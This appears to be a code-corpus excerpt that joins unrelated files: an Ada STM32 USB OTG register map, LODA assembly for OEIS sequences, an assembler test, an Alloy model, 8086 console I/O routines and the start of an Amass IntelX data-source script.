OTG_HS_DVBUSPULSE at 16#2C# range 0 .. 31;
OTG_HS_DTHRCTL at 16#30# range 0 .. 31;
OTG_HS_DIEPEMPMSK at 16#34# range 0 .. 31;
OTG_HS_DEACHINT at 16#38# range 0 .. 31;
OTG_HS_DEACHINTMSK at 16#3C# range 0 .. 31;
OTG_HS_DIEPEACHMSK1 at 16#40# range 0 .. 31;
OTG_HS_DOEPEACHMSK1 at 16#80# range 0 .. 31;
OTG_HS_DIEPCTL0 at 16#100# range 0 .. 31;
OTG_HS_DIEPINT0 at 16#108# range 0 .. 31;
OTG_HS_DIEPTSIZ0 at 16#110# range 0 .. 31;
OTG_HS_DIEPDMA1 at 16#114# range 0 .. 31;
OTG_HS_DTXFSTS0 at 16#118# range 0 .. 31;
OTG_HS_DIEPCTL1 at 16#120# range 0 .. 31;
OTG_HS_DIEPINT1 at 16#128# range 0 .. 31;
OTG_HS_DIEPTSIZ1 at 16#130# range 0 .. 31;
OTG_HS_DIEPDMA2 at 16#134# range 0 .. 31;
OTG_HS_DTXFSTS1 at 16#138# range 0 .. 31;
OTG_HS_DIEPCTL2 at 16#140# range 0 .. 31;
OTG_HS_DIEPINT2 at 16#148# range 0 .. 31;
OTG_HS_DIEPTSIZ2 at 16#150# range 0 .. 31;
OTG_HS_DIEPDMA3 at 16#154# range 0 .. 31;
OTG_HS_DTXFSTS2 at 16#158# range 0 .. 31;
OTG_HS_DIEPCTL3 at 16#160# range 0 .. 31;
OTG_HS_DIEPINT3 at 16#168# range 0 .. 31;
OTG_HS_DIEPTSIZ3 at 16#170# range 0 .. 31;
OTG_HS_DIEPDMA4 at 16#174# range 0 .. 31;
OTG_HS_DTXFSTS3 at 16#178# range 0 .. 31;
OTG_HS_DIEPCTL4 at 16#180# range 0 .. 31;
OTG_HS_DIEPINT4 at 16#188# range 0 .. 31;
OTG_HS_DIEPTSIZ4 at 16#190# range 0 .. 31;
OTG_HS_DIEPDMA5 at 16#194# range 0 .. 31;
OTG_HS_DTXFSTS4 at 16#198# range 0 .. 31;
OTG_HS_DIEPCTL5 at 16#1A0# range 0 .. 31;
OTG_HS_DIEPINT5 at 16#1A8# range 0 .. 31;
OTG_HS_DIEPTSIZ5 at 16#1B0# range 0 .. 31;
OTG_HS_DTXFSTS5 at 16#1B8# range 0 .. 31;
OTG_HS_DIEPCTL6 at 16#1C0# range 0 .. 31;
OTG_HS_DIEPINT6 at 16#1C8# range 0 .. 31;
OTG_HS_DIEPCTL7 at 16#1E0# range 0 .. 31;
OTG_HS_DIEPINT7 at 16#1E8# range 0 .. 31;
OTG_HS_DOEPCTL0 at 16#300# range 0 .. 31;
OTG_HS_DOEPINT0 at 16#308# range 0 .. 31;
OTG_HS_DOEPTSIZ0 at 16#310# range 0 .. 31;
OTG_HS_DOEPCTL1 at 16#320# range 0 .. 31;
OTG_HS_DOEPINT1 at 16#328# range 0 .. 31;
OTG_HS_DOEPTSIZ1 at 16#330# range 0 .. 31;
OTG_HS_DOEPCTL2 at 16#340# range 0 .. 31;
OTG_HS_DOEPINT2 at 16#348# range 0 .. 31;
OTG_HS_DOEPTSIZ2 at 16#350# range 0 .. 31;
OTG_HS_DOEPCTL3 at 16#360# range 0 .. 31;
OTG_HS_DOEPINT3 at 16#368# range 0 .. 31;
OTG_HS_DOEPTSIZ3 at 16#370# range 0 .. 31;
OTG_HS_DOEPINT4 at 16#388# range 0 .. 31;
OTG_HS_DOEPTSIZ4 at 16#390# range 0 .. 31;
OTG_HS_DOEPINT5 at 16#3A8# range 0 .. 31;
OTG_HS_DOEPINT6 at 16#3C8# range 0 .. 31;
OTG_HS_DOEPINT7 at 16#3E8# range 0 .. 31;
end record;
-- USB on the go high speed
OTG_HS_DEVICE_Periph : aliased OTG_HS_DEVICE_Peripheral
with Import, Address => System'To_Address (16#40040800#);
type OTG_HS_GLOBAL_Disc is
(
Host,
Peripheral,
Gnptxfsiz_Host,
Tx0Fsiz_Peripheral);
-- USB on the go high speed
type OTG_HS_GLOBAL_Peripheral
(Discriminent : OTG_HS_GLOBAL_Disc := Host)
is record
-- OTG_HS control and status register
OTG_HS_GOTGCTL : aliased OTG_HS_GOTGCTL_Register;
-- OTG_HS interrupt register
OTG_HS_GOTGINT : aliased OTG_HS_GOTGINT_Register;
-- OTG_HS AHB configuration register
OTG_HS_GAHBCFG : aliased OTG_HS_GAHBCFG_Register;
-- OTG_HS USB configuration register
OTG_HS_GUSBCFG : aliased OTG_HS_GUSBCFG_Register;
-- OTG_HS reset register
OTG_HS_GRSTCTL : aliased OTG_HS_GRSTCTL_Register;
-- OTG_HS core interrupt register
OTG_HS_GINTSTS : aliased OTG_HS_GINTSTS_Register;
-- OTG_HS interrupt mask register
OTG_HS_GINTMSK : aliased OTG_HS_GINTMSK_Register;
-- OTG_HS Receive FIFO size register
OTG_HS_GRXFSIZ : aliased OTG_HS_GRXFSIZ_Register;
-- OTG_HS nonperiodic transmit FIFO/queue status register
OTG_HS_GNPTXSTS : aliased OTG_HS_GNPTXSTS_Register;
-- OTG_HS general core configuration register
OTG_HS_GCCFG : aliased OTG_HS_GCCFG_Register;
-- OTG_HS core ID register
OTG_HS_CID : aliased HAL.UInt32;
-- OTG_HS Host periodic transmit FIFO size register
OTG_HS_HPTXFSIZ : aliased OTG_HS_HPTXFSIZ_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF1 : aliased OTG_HS_DIEPTXF_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF2 : aliased OTG_HS_DIEPTXF_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF3 : aliased OTG_HS_DIEPTXF_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF4 : aliased OTG_HS_DIEPTXF_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF5 : aliased OTG_HS_DIEPTXF_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF6 : aliased OTG_HS_DIEPTXF_Register;
-- OTG_HS device IN endpoint transmit FIFO size register
OTG_HS_DIEPTXF7 : aliased OTG_HS_DIEPTXF_Register;
case Discriminent is
when Host =>
-- OTG_HS Receive status debug read register (host mode)
OTG_HS_GRXSTSR_Host : aliased OTG_HS_GRXSTSR_Host_Register;
-- OTG_HS status read and pop register (host mode)
OTG_HS_GRXSTSP_Host : aliased OTG_HS_GRXSTSP_Host_Register;
when Peripheral =>
-- OTG_HS Receive status debug read register (peripheral mode
-- mode)
OTG_HS_GRXSTSR_Peripheral : aliased OTG_HS_GRXSTSR_Peripheral_Register;
-- OTG_HS status read and pop register (peripheral mode)
OTG_HS_GRXSTSP_Peripheral : aliased OTG_HS_GRXSTSP_Peripheral_Register;
when Gnptxfsiz_Host =>
-- OTG_HS nonperiodic transmit FIFO size register (host mode)
OTG_HS_GNPTXFSIZ_Host : aliased OTG_HS_GNPTXFSIZ_Host_Register;
when Tx0Fsiz_Peripheral =>
-- Endpoint 0 transmit FIFO size (peripheral mode)
OTG_HS_TX0FSIZ_Peripheral : aliased OTG_HS_TX0FSIZ_Peripheral_Register;
end case;
end record
with Unchecked_Union, Volatile;
for OTG_HS_GLOBAL_Peripheral use record
OTG_HS_GOTGCTL at 16#0# range 0 .. 31;
OTG_HS_GOTGINT at 16#4# range 0 .. 31;
OTG_HS_GAHBCFG at 16#8# range 0 .. 31;
OTG_HS_GUSBCFG at 16#C# range 0 .. 31;
OTG_HS_GRSTCTL at 16#10# range 0 .. 31;
OTG_HS_GINTSTS at 16#14# range 0 .. 31;
OTG_HS_GINTMSK at 16#18# range 0 .. 31;
OTG_HS_GRXFSIZ at 16#24# range 0 .. 31;
OTG_HS_GNPTXSTS at 16#2C# range 0 .. 31;
OTG_HS_GCCFG at 16#38# range 0 .. 31;
OTG_HS_CID at 16#3C# range 0 .. 31;
OTG_HS_HPTXFSIZ at 16#100# range 0 .. 31;
OTG_HS_DIEPTXF1 at 16#104# range 0 .. 31;
OTG_HS_DIEPTXF2 at 16#108# range 0 .. 31;
OTG_HS_DIEPTXF3 at 16#11C# range 0 .. 31;
OTG_HS_DIEPTXF4 at 16#120# range 0 .. 31;
OTG_HS_DIEPTXF5 at 16#124# range 0 .. 31;
OTG_HS_DIEPTXF6 at 16#128# range 0 .. 31;
OTG_HS_DIEPTXF7 at 16#12C# range 0 .. 31;
OTG_HS_GRXSTSR_Host at 16#1C# range 0 .. 31;
OTG_HS_GRXSTSP_Host at 16#20# range 0 .. 31;
OTG_HS_GRXSTSR_Peripheral at 16#1C# range 0 .. 31;
OTG_HS_GRXSTSP_Peripheral at 16#20# range 0 .. 31;
OTG_HS_GNPTXFSIZ_Host at 16#28# range 0 .. 31;
OTG_HS_TX0FSIZ_Peripheral at 16#28# range 0 .. 31;
end record;
-- USB on the go high speed
OTG_HS_GLOBAL_Periph : aliased OTG_HS_GLOBAL_Peripheral
with Import, Address => System'To_Address (16#40040000#);
-- USB on the go high speed
type OTG_HS_HOST_Peripheral is record
-- OTG_HS host configuration register
OTG_HS_HCFG : aliased OTG_HS_HCFG_Register;
-- OTG_HS Host frame interval register
OTG_HS_HFIR : aliased OTG_HS_HFIR_Register;
-- OTG_HS host frame number/frame time remaining register
OTG_HS_HFNUM : aliased OTG_HS_HFNUM_Register;
-- OTG_HS_Host periodic transmit FIFO/queue status register
OTG_HS_HPTXSTS : aliased OTG_HS_HPTXSTS_Register;
-- OTG_HS Host all channels interrupt register
OTG_HS_HAINT : aliased OTG_HS_HAINT_Register;
-- OTG_HS host all channels interrupt mask register
OTG_HS_HAINTMSK : aliased OTG_HS_HAINTMSK_Register;
-- OTG_HS host port control and status register
OTG_HS_HPRT : aliased OTG_HS_HPRT_Register;
-- OTG_HS host channel-0 characteristics register
OTG_HS_HCCHAR0 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-0 split control register
OTG_HS_HCSPLT0 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-11 interrupt register
OTG_HS_HCINT0 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-11 interrupt mask register
OTG_HS_HCINTMSK0 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-11 transfer size register
OTG_HS_HCTSIZ0 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-0 DMA address register
OTG_HS_HCDMA0 : aliased HAL.UInt32;
-- OTG_HS host channel-1 characteristics register
OTG_HS_HCCHAR1 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-1 split control register
OTG_HS_HCSPLT1 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-1 interrupt register
OTG_HS_HCINT1 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-1 interrupt mask register
OTG_HS_HCINTMSK1 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-1 transfer size register
OTG_HS_HCTSIZ1 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-1 DMA address register
OTG_HS_HCDMA1 : aliased HAL.UInt32;
-- OTG_HS host channel-2 characteristics register
OTG_HS_HCCHAR2 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-2 split control register
OTG_HS_HCSPLT2 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-2 interrupt register
OTG_HS_HCINT2 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-2 interrupt mask register
OTG_HS_HCINTMSK2 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-2 transfer size register
OTG_HS_HCTSIZ2 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-2 DMA address register
OTG_HS_HCDMA2 : aliased HAL.UInt32;
-- OTG_HS host channel-3 characteristics register
OTG_HS_HCCHAR3 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-3 split control register
OTG_HS_HCSPLT3 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-3 interrupt register
OTG_HS_HCINT3 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-3 interrupt mask register
OTG_HS_HCINTMSK3 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-3 transfer size register
OTG_HS_HCTSIZ3 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-3 DMA address register
OTG_HS_HCDMA3 : aliased HAL.UInt32;
-- OTG_HS host channel-4 characteristics register
OTG_HS_HCCHAR4 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-4 split control register
OTG_HS_HCSPLT4 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-4 interrupt register
OTG_HS_HCINT4 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-4 interrupt mask register
OTG_HS_HCINTMSK4 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-4 transfer size register
OTG_HS_HCTSIZ4 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-4 DMA address register
OTG_HS_HCDMA4 : aliased HAL.UInt32;
-- OTG_HS host channel-5 characteristics register
OTG_HS_HCCHAR5 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-5 split control register
OTG_HS_HCSPLT5 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-5 interrupt register
OTG_HS_HCINT5 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-5 interrupt mask register
OTG_HS_HCINTMSK5 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-5 transfer size register
OTG_HS_HCTSIZ5 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-5 DMA address register
OTG_HS_HCDMA5 : aliased HAL.UInt32;
-- OTG_HS host channel-6 characteristics register
OTG_HS_HCCHAR6 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-6 split control register
OTG_HS_HCSPLT6 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-6 interrupt register
OTG_HS_HCINT6 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-6 interrupt mask register
OTG_HS_HCINTMSK6 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-6 transfer size register
OTG_HS_HCTSIZ6 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-6 DMA address register
OTG_HS_HCDMA6 : aliased HAL.UInt32;
-- OTG_HS host channel-7 characteristics register
OTG_HS_HCCHAR7 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-7 split control register
OTG_HS_HCSPLT7 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-7 interrupt register
OTG_HS_HCINT7 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-7 interrupt mask register
OTG_HS_HCINTMSK7 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-7 transfer size register
OTG_HS_HCTSIZ7 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-7 DMA address register
OTG_HS_HCDMA7 : aliased HAL.UInt32;
-- OTG_HS host channel-8 characteristics register
OTG_HS_HCCHAR8 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-8 split control register
OTG_HS_HCSPLT8 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-8 interrupt register
OTG_HS_HCINT8 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-8 interrupt mask register
OTG_HS_HCINTMSK8 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-8 transfer size register
OTG_HS_HCTSIZ8 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-8 DMA address register
OTG_HS_HCDMA8 : aliased HAL.UInt32;
-- OTG_HS host channel-9 characteristics register
OTG_HS_HCCHAR9 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-9 split control register
OTG_HS_HCSPLT9 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-9 interrupt register
OTG_HS_HCINT9 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-9 interrupt mask register
OTG_HS_HCINTMSK9 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-9 transfer size register
OTG_HS_HCTSIZ9 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-9 DMA address register
OTG_HS_HCDMA9 : aliased HAL.UInt32;
-- OTG_HS host channel-10 characteristics register
OTG_HS_HCCHAR10 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-10 split control register
OTG_HS_HCSPLT10 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-10 interrupt register
OTG_HS_HCINT10 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-10 interrupt mask register
OTG_HS_HCINTMSK10 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-10 transfer size register
OTG_HS_HCTSIZ10 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-10 DMA address register
OTG_HS_HCDMA10 : aliased HAL.UInt32;
-- OTG_HS host channel-11 characteristics register
OTG_HS_HCCHAR11 : aliased OTG_HS_HCCHAR_Register;
-- OTG_HS host channel-11 split control register
OTG_HS_HCSPLT11 : aliased OTG_HS_HCSPLT_Register;
-- OTG_HS host channel-11 interrupt register
OTG_HS_HCINT11 : aliased OTG_HS_HCINT_Register;
-- OTG_HS host channel-11 interrupt mask register
OTG_HS_HCINTMSK11 : aliased OTG_HS_HCINTMSK_Register;
-- OTG_HS host channel-11 transfer size register
OTG_HS_HCTSIZ11 : aliased OTG_HS_HCTSIZ_Register;
-- OTG_HS host channel-11 DMA address register
OTG_HS_HCDMA11 : aliased HAL.UInt32;
end record
with Volatile;
for OTG_HS_HOST_Peripheral use record
OTG_HS_HCFG at 16#0# range 0 .. 31;
OTG_HS_HFIR at 16#4# range 0 .. 31;
OTG_HS_HFNUM at 16#8# range 0 .. 31;
OTG_HS_HPTXSTS at 16#10# range 0 .. 31;
OTG_HS_HAINT at 16#14# range 0 .. 31;
OTG_HS_HAINTMSK at 16#18# range 0 .. 31;
OTG_HS_HPRT at 16#40# range 0 .. 31;
OTG_HS_HCCHAR0 at 16#100# range 0 .. 31;
OTG_HS_HCSPLT0 at 16#104# range 0 .. 31;
OTG_HS_HCINT0 at 16#108# range 0 .. 31;
OTG_HS_HCINTMSK0 at 16#10C# range 0 .. 31;
OTG_HS_HCTSIZ0 at 16#110# range 0 .. 31;
OTG_HS_HCDMA0 at 16#114# range 0 .. 31;
OTG_HS_HCCHAR1 at 16#120# range 0 .. 31;
OTG_HS_HCSPLT1 at 16#124# range 0 .. 31;
OTG_HS_HCINT1 at 16#128# range 0 .. 31;
OTG_HS_HCINTMSK1 at 16#12C# range 0 .. 31;
OTG_HS_HCTSIZ1 at 16#130# range 0 .. 31;
OTG_HS_HCDMA1 at 16#134# range 0 .. 31;
OTG_HS_HCCHAR2 at 16#140# range 0 .. 31;
OTG_HS_HCSPLT2 at 16#144# range 0 .. 31;
OTG_HS_HCINT2 at 16#148# range 0 .. 31;
OTG_HS_HCINTMSK2 at 16#14C# range 0 .. 31;
OTG_HS_HCTSIZ2 at 16#150# range 0 .. 31;
OTG_HS_HCDMA2 at 16#154# range 0 .. 31;
OTG_HS_HCCHAR3 at 16#160# range 0 .. 31;
OTG_HS_HCSPLT3 at 16#164# range 0 .. 31;
OTG_HS_HCINT3 at 16#168# range 0 .. 31;
OTG_HS_HCINTMSK3 at 16#16C# range 0 .. 31;
OTG_HS_HCTSIZ3 at 16#170# range 0 .. 31;
OTG_HS_HCDMA3 at 16#174# range 0 .. 31;
OTG_HS_HCCHAR4 at 16#180# range 0 .. 31;
OTG_HS_HCSPLT4 at 16#184# range 0 .. 31;
OTG_HS_HCINT4 at 16#188# range 0 .. 31;
OTG_HS_HCINTMSK4 at 16#18C# range 0 .. 31;
OTG_HS_HCTSIZ4 at 16#190# range 0 .. 31;
OTG_HS_HCDMA4 at 16#194# range 0 .. 31;
OTG_HS_HCCHAR5 at 16#1A0# range 0 .. 31;
OTG_HS_HCSPLT5 at 16#1A4# range 0 .. 31;
OTG_HS_HCINT5 at 16#1A8# range 0 .. 31;
OTG_HS_HCINTMSK5 at 16#1AC# range 0 .. 31;
OTG_HS_HCTSIZ5 at 16#1B0# range 0 .. 31;
OTG_HS_HCDMA5 at 16#1B4# range 0 .. 31;
OTG_HS_HCCHAR6 at 16#1C0# range 0 .. 31;
OTG_HS_HCSPLT6 at 16#1C4# range 0 .. 31;
OTG_HS_HCINT6 at 16#1C8# range 0 .. 31;
OTG_HS_HCINTMSK6 at 16#1CC# range 0 .. 31;
OTG_HS_HCTSIZ6 at 16#1D0# range 0 .. 31;
OTG_HS_HCDMA6 at 16#1D4# range 0 .. 31;
OTG_HS_HCCHAR7 at 16#1E0# range 0 .. 31;
OTG_HS_HCSPLT7 at 16#1E4# range 0 .. 31;
OTG_HS_HCINT7 at 16#1E8# range 0 .. 31;
OTG_HS_HCINTMSK7 at 16#1EC# range 0 .. 31;
OTG_HS_HCTSIZ7 at 16#1F0# range 0 .. 31;
OTG_HS_HCDMA7 at 16#1F4# range 0 .. 31;
OTG_HS_HCCHAR8 at 16#200# range 0 .. 31;
OTG_HS_HCSPLT8 at 16#204# range 0 .. 31;
OTG_HS_HCINT8 at 16#208# range 0 .. 31;
OTG_HS_HCINTMSK8 at 16#20C# range 0 .. 31;
OTG_HS_HCTSIZ8 at 16#210# range 0 .. 31;
OTG_HS_HCDMA8 at 16#214# range 0 .. 31;
OTG_HS_HCCHAR9 at 16#220# range 0 .. 31;
OTG_HS_HCSPLT9 at 16#224# range 0 .. 31;
OTG_HS_HCINT9 at 16#228# range 0 .. 31;
OTG_HS_HCINTMSK9 at 16#22C# range 0 .. 31;
OTG_HS_HCTSIZ9 at 16#230# range 0 .. 31;
OTG_HS_HCDMA9 at 16#234# range 0 .. 31;
OTG_HS_HCCHAR10 at 16#240# range 0 .. 31;
OTG_HS_HCSPLT10 at 16#244# range 0 .. 31;
OTG_HS_HCINT10 at 16#248# range 0 .. 31;
OTG_HS_HCINTMSK10 at 16#24C# range 0 .. 31;
OTG_HS_HCTSIZ10 at 16#250# range 0 .. 31;
OTG_HS_HCDMA10 at 16#254# range 0 .. 31;
OTG_HS_HCCHAR11 at 16#260# range 0 .. 31;
OTG_HS_HCSPLT11 at 16#264# range 0 .. 31;
OTG_HS_HCINT11 at 16#268# range 0 .. 31;
OTG_HS_HCINTMSK11 at 16#26C# range 0 .. 31;
OTG_HS_HCTSIZ11 at 16#270# range 0 .. 31;
OTG_HS_HCDMA11 at 16#274# range 0 .. 31;
end record;
-- USB on the go high speed
OTG_HS_HOST_Periph : aliased OTG_HS_HOST_Peripheral
with Import, Address => System'To_Address (16#40040400#);
-- USB on the go high speed
type OTG_HS_PWRCLK_Peripheral is record
-- Power and clock gating control register
OTG_HS_PCGCR : aliased OTG_HS_PCGCR_Register;
end record
with Volatile;
for OTG_HS_PWRCLK_Peripheral use record
OTG_HS_PCGCR at 0 range 0 .. 31;
end record;
-- USB on the go high speed
OTG_HS_PWRCLK_Periph : aliased OTG_HS_PWRCLK_Peripheral
with Import, Address => System'To_Address (16#40040E00#);
end STM32_SVD.USB_OTG_HS;
|
programs/oeis/000/A000384.asm | neoneye/loda | 22 | 163145 | <reponame>neoneye/loda
; A000384: Hexagonal numbers: a(n) = n*(2*n-1).
; 0,1,6,15,28,45,66,91,120,153,190,231,276,325,378,435,496,561,630,703,780,861,946,1035,1128,1225,1326,1431,1540,1653,1770,1891,2016,2145,2278,2415,2556,2701,2850,3003,3160,3321,3486,3655,3828,4005,4186,4371,4560,4753,4950,5151,5356,5565,5778,5995,6216,6441,6670,6903,7140,7381,7626,7875,8128,8385,8646,8911,9180,9453,9730,10011,10296,10585,10878,11175,11476,11781,12090,12403,12720,13041,13366,13695,14028,14365,14706,15051,15400,15753,16110,16471,16836,17205,17578,17955,18336,18721,19110,19503
mul $0,2
bin $0,2
|
programs/oeis/344/A344337.asm | neoneye/loda | 22 | 242450 | <reponame>neoneye/loda
; A344337: a(n) = 9^omega(n), where omega(n) is the number of distinct primes dividing n.
; 1,9,9,9,9,81,9,9,9,81,9,81,9,81,81,9,9,81,9,81,81,81,9,81,9,81,9,81,9,729,9,9,81,81,81,81,9,81,81,81,9,729,9,81,81,81,9,81,9,81,81,81,9,81,81,81,81,81,9,729,9,81,81,9,81,729,9,81,81,729,9,81,9,81,81,81
seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
mov $1,9
pow $1,$0
mov $0,$1
|
thesisExamples/BadRefl.agda | JoeyEremondi/lambda-pi-constraint | 16 | 16400 | module BadRefl where
open import AgdaPrelude
plus =
natElim
( \ _ -> Nat -> Nat ) -- motive
( \ n -> n ) -- case for Zero
( \ p rec n -> Succ (rec n) ) -- case for Succ
-- the other direction requires induction on N:
postulate pNPlus0isN : (n : Nat) -> Eq Nat (plus n Zero) n
-- the other direction requires induction on N:
succPlus : (n : Nat) -> Eq Nat (Succ n) (plus (Succ n) Zero)
succPlus =
(\n -> pNPlus0isN (Succ n))
|
unit_tests/static-tests/common/enum.empty.error.asm | undisbeliever/untech-engine | 34 | 89524 | <reponame>undisbeliever/untech-engine
include "../../../src/common/enum.inc"
// Try to create an empty enum
namespace test {
createEnum()
endEnum() // ERROR
}
|
alloy4fun_models/trashltl/models/9/K5tyeQbT3LfBASAJn.als | Kaixi26/org.alloytools.alloy | 0 | 1910 | <filename>alloy4fun_models/trashltl/models/9/K5tyeQbT3LfBASAJn.als<gh_stars>0
open main
pred idK5tyeQbT3LfBASAJn_prop10 {
always all p:Protected | p in Protected implies after always p in Protected
}
pred __repair { idK5tyeQbT3LfBASAJn_prop10 }
check __repair { idK5tyeQbT3LfBASAJn_prop10 <=> prop10o } |
boot/print.asm | foreverbell/BadAppleOS | 52 | 104625 | ; @function: print
; @brief: print a string to terminal.
; @parameters: pointer to string is passed through SI.
print:
pusha
mov bx, si
.loop:
mov al, [bx]
cmp al, 0x0
je .fin
mov ah, 0xe
int 0x10
inc bx
jmp .loop
.fin:
; print '\n'
mov ah, 0x3
xor bh, bh
int 0x10
inc dh
xor dl, dl
mov ah, 0x2
int 0x10
popa
ret
|
Test/kio.asm | koutheir/i8086sim | 3 | 164599 |
pause proc
push ax
push dx
mov dx,offset s_pause
mov ah,9
int 21h
mov ah,7
int 21h
pop dx
pop ax
ret
pause endp
;output:
;ax: integer
get_int proc
push bx
push cx
push dx
push di
get_int_5:
;Get the value of the number in string form
mov dx,offset int_buffer
mov ah,0ah
int 21h
;Write the new line to the console
mov dx,offset s_new_line
mov ah,9
int 21h
mov cl,int_buffer[1] ;cx=number of digits
xor ch,ch
mov bx,offset int_buffer + 2 ;[bx]=the digit in string form
;Adjust the length of the number and the starting offset
;when there is a sign.
cmp int_buffer[2],'+'
jne get_int_0
inc bx
dec cx
get_int_0:
cmp int_buffer[2],'-'
jne get_int_1
inc bx
dec cx
get_int_1:
xor ax,ax ;default output is zero
;ensure the string length is not zero
cmp cx,0
jne get_int_6
get_int_7:
mov dx,offset s_invalid_number
mov ah,9
int 21h
jmp get_int_5
get_int_6:
mov di,cx
get_int_loop1:
dec di
;[bx]=the current digit
cmp [bx],'0'
jl get_int_7
cmp [bx],'9'
jg get_int_7
sub [bx],'0'
;ax+=[bx]*10^(di-1)
mov dl,[bx] ;dx=[bx]*10^(di-1)
xor dh,dh
cmp di,0 ;if (di==0) no work is required
je get_int_3
cmp dx,0 ;if (dx==0) no work is required
je get_int_3
push ax
push di
get_int_loop2:
dec di
;Multiply dx by 10
mov ax,dx
;dx=ax*8
shl ax,1
jc get_int_9
shl ax,1
jc get_int_9
shl ax,1
jc get_int_9
mov dx,ax
shr ax,2
add dx,ax ;dx+=ax*2
jno get_int_8
get_int_9:
pop di
pop ax
jmp get_int_7
get_int_8:
cmp di,0
jne get_int_loop2
pop di
pop ax
get_int_3: ;dx=dx=[bx]*10^(di-1)
add ax,dx
inc bx ;point to the next digit
cmp di,0
jne get_int_loop1
get_int_2:
;If no overflow has occured, the number must be positive in this stage
cmp ax,0
jl get_int_7
;Check if the number is negative
mov bx,offset int_buffer
cmp int_buffer[2],'-'
jne get_int_4
neg ax
get_int_4:
pop di
pop dx
pop cx
pop bx
ret
get_int endp
;Get the length of a string holding the signed number in ax
;output:
;ax: length of the word when converted to string
get_int_string_length proc
push bx
push cx
push dx
mov bx,0 ;bx:length of the word when converted to string
mov cx,10
;Check the sign of the number
cmp ax,0
jge get_int_string_length_1
;The number is negative
;Negate it to get its positive part
neg ax
inc bx
get_int_string_length_1:
inc bx
;Divide the word by 10
mov dx,0
div cx
;Check if there are more digits in the word
cmp ax,0
jne get_int_string_length_1
mov ax,bx
pop dx
pop cx
pop bx
ret
get_int_string_length endp
;input:
;ax: the signed number to print
print_int proc
push ax
push bx
push cx
push dx
push si
push ax
call get_int_string_length
mov si,ax
pop ax
mov s_temp_str[si],'$'
mov bx,offset s_temp_str
;Check the sign of the number
cmp ax,0
jge print_int_loop1
;The number is negative
;Negate it to get its positive part
neg ax
mov s_temp_str[0],'-'
inc bx
dec si
print_int_loop1:
dec si
;Divide the word by 10
mov cx,10
mov dx,0
div cx
add dx,'0'
mov [bx+si],dl
cmp si,0
jne print_int_loop1
mov dx,offset s_temp_str
mov ah,9
int 21h
pop si
pop dx
pop cx
pop bx
pop ax
ret
print_int endp
|
resources/scripts/api/intelx.ads | Elon143/Amass | 7,053 | 30378 | -- Copyright 2021 <NAME>. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local json = require("json")
name = "IntelX"
type = "api"
useragent = "OWASP Amass"
host = "https://2.intelx.io/"
max = 1000
